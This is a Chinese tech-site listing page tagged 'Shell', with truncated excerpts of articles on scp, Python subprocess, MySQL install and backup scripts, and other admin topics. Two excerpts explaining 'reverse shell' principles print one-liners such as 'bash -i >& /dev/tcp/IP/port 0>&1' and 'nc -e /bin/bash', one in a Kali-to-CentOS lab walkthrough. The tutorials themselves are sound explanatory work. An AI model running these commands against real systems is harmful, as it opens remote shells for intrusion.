标签: Shell

几例Shell实用脚本(珍藏版)

1特殊文件名的远程拷贝服务器之间拷贝文件经常使用scp命令,其命令格式:(1)scpfilename[user@]host:dir(2)scp[user@]host:dir1/filenamedir2格式(1)将本地文件filename拷贝到远程服务器host的dir目录下,格式(2)将远程服务器h...

其他 2021-04-30 195 0 0 阅读全文

关于Elcipse 安装Lombok插件解决 @Slf4j 等找不到Log变量问题

由于最近在弄elastic-job,在下载源码后会报一些错误,变量log找不到,没有getter/setter方法之类的。之前没有接触过lombok,这次看了些帖子,也只是暂时解决了这样的问题。1.前往官网下载:https://projectlombok.org/downloadlombok.jar...

Java 2021-03-30 157 0 0 阅读全文

Python从Ftp获取文件并下载到本地

最近有需求是,需要把对方提供的ftp地址上的图片获取到本地服务器,原先计划想着是用shell操作,因为shell本身也支持ftp的命令在通过for循环也能达到需求。但是后来想着还是拿python操作;于是在网上进行百度;无一例外还是那么失望无法直接抄来就用。于是在一个代码上进行修改。还是有点心东西学...

Python 2021-04-10 171 0 0 阅读全文

Python基于Socket模拟实现Ssh远程执行命令

一、subprocess.Popen()subprocess模块定义了一个类:Popen类原型:classsubprocess.Popen(args,bufsize=0,executable=None,stdin=None,stdout=None,stderr=None,preexec_fn=Non...

Python 2021-04-10 155 0 0 阅读全文

Python Subprocess Pipe 实时输出日志的操作

*test11.pyimporttimeprint"1"time.sleep(2)print"1"time.sleep(2)print"1"time.sleep(2)print"1"*test.pyimportsubpr...

Python 2021-04-10 199 0 0 阅读全文

解决Python 执行Shell命令无法获取返回值的问题

问题背景:利用python获取服务器中supervisor状态信息时发现未能获取到返回值。python获取执行shell命令后返回值得几种方式:#1.os模块ret=os.popen("supervisorctlstatus")ret_data=ret.read()#2.subp...

Python 2021-04-10 205 0 0 阅读全文

Linux反弹Shell的原理详解

完整命令反弹shell命令:bash-i>&/dev/tcp/10.0.0.1/80800>&1bash-i>/dev/tcp/ip/port0>&12>&1利用nc反弹shell:nc-lvvp12345-t-e/bin/bash原理b...

Linux 2021-05-15 145 0 0 阅读全文

Shell字符串截取报错:Bad Substitution的解决

问题重现:当前系统Ubuntu16shell进行字符串截取运行${GIT_COMMIT:0:6}报错:/tmp/jenkins7505855461406722507.sh:4:/tmp/jenkins7505855461406722507.sh:Badsubstitution原因:两种shell语言...

Ubuntu 2021-05-15 246 0 0 阅读全文

Linux中自定义Shell脚本启动Jar包的方法

一键启动、停止、重启java项目创建.sh文件viXXX.sh编写shell脚本#!/bin/shport=8080#定义变量等号左右不能有空格jar_name=/opt/oaclou/XXX.jar#运行脚本提示信息tips(){echo"------------------------...

Linux 2021-04-17 204 0 0 阅读全文

浅析Linux之Bash反弹Shell原理

环境攻击机:kaliip:192.168.25.144靶机:centosip:192.168.25.142过程kali监听本地8888端口靶机centos写入反弹shell的命令bash-i>&/dev/tcp/192.168.25.144/88880>&1攻击机kali...

Linux 2021-05-15 211 0 0 阅读全文

详解Shell中脚本参数传递的两种方式

方式一:$0,$1,$2..采用$0,$1,$2..等方式获取脚本命令行传入的参数,值得注意的是,$0获取到的是脚本路径以及脚本名,后面按顺序获取参数,当参数超过10个时(包括10个),需要使用${10},${11}....才能获取到参数,但是一般很少会超过10个参数的情况。1.1示例:新建一个te...

其他 2021-05-15 199 0 0 阅读全文

PHP中Yum命令用法详解

在php中关于yum命令还是比较多的,主要是因为在配置linux环境,linux中安装、卸载等各种操作中,因此,掌握命令还是相当重要的,在很多命令中,最常见使用的就是yum命令,总共有七个yum命令,每一种使用操作都相当的实用,下面就这些命令,详细给大家做下讲解。1、yuminstall命令表示安装...

PHP 2021-03-30 197 0 0 阅读全文

Linux 中Shell脚本设置开头固定格式的实现方法

[root@node01~]vim.vimrc将下列内容复制进文件setignorecasesetcursorlinesetautoindentautocmdBufNewFile*.shexec":callSetTitle()"funcSetTitle()ifexpand(&qu...

Linux 2021-05-15 189 0 0 阅读全文

Shell脚本语言(超全超详细)

1、shell的概述shell是一种脚本语言脚本:本质是一个文件,文件里面存放的是特定格式的指令,系统可以使用脚本解析器翻译或解析指令并执行(它不需要编译)shell既是应用程序又是一种脚本语言(应用程序解析脚本语言)shell命令解析器:系统提供shell命令解析器:shashbash查看自己li...

Linux 2021-06-29 213 0 0 阅读全文

Shell中Set指令的用法详解

语法set[-可选参数][-o选项]功能说明set指令可根据不同的需求来设置当前所使用shell的执行方式,同时也可以用来设置或显示shell变量的值。当指定某个单一的选项时将设置shell的常用特性,如果在选项后使用-o参数将打开特殊特性,若是+o将关闭相应的特殊特性。而不带任何参数的set指令将...

其他 2021-05-15 222 0 0 阅读全文

Shell脚本一键安装MySQL5.7.29的方法

脚本内容:viminstall.mysql.sh#!/bin/bash[-f/etc/init.d/functions]&&./etc/init.d/functions###Checkifuserisrootif[$UID-ne0];thenecho"Error:Youmu...

MySQL 2021-05-15 225 0 0 阅读全文

Python基于Webhook实现Github自动化部署

一.分析需求1.需求说明在项目开发过程中,我们有时会频繁的更新代码,流程大概为:(1)本地gitpush提交代码至git托管平台(2)登陆到部署有网站源码的线上服务器(3)cd到项目根目录,执行gitpull指令拉取最新代码整个流程纯手动更新,每次耗时在1分钟左右,这样一天下来,浪费了很多时间在这些...

Python 2021-04-12 193 0 0 阅读全文

Shell脚本定时备份数据库和代码上线

备份MySQL数据库场景:一台MySQL服务器,跑着5个数据库,在没有做主从的情况下,需要对这5个库进行备份需求:1)每天备份一次,需要备份所有的库2)把备份数据存放到/data/backup/下3)备份文件名称格式示例:dbname-2019-11-23.sql4)需要对1天以前的所有sql文件压...

Linux 2021-07-05 205 0 0 阅读全文

Golang高并发限流操作 Ping / Telnet

需求当需要同时ping/telnet多个ip时,可以通过引入ping包/telnet包实现,也可以通过go调用cmd命令实现,不过后者调用效率较差,所以这里选择ping包和telnet包还有就是高并发的问题,可以通过shell脚本或者go实现高并发,所以我选择的用go自带的协程实现,但是如果要同时处...

Golang 2021-04-10 195 0 0 阅读全文

开发者常用及实用Linux Shell命令备忘录(小结)

最近都需要在Linux系统下开发,所以经常需要在终端中进行操作。Linux有很多shell命令可以帮助我们完成任务,但不常使用的话就会忘记掉。本篇作为命令备忘录,我会将实际工作当中用到的命令记录下来,并长期保持更新。1.whichwhich用于查找一个文件,并返回绝对路径,查找的目录范围由系统的PA...

Linux 2021-05-07 311 0 0 阅读全文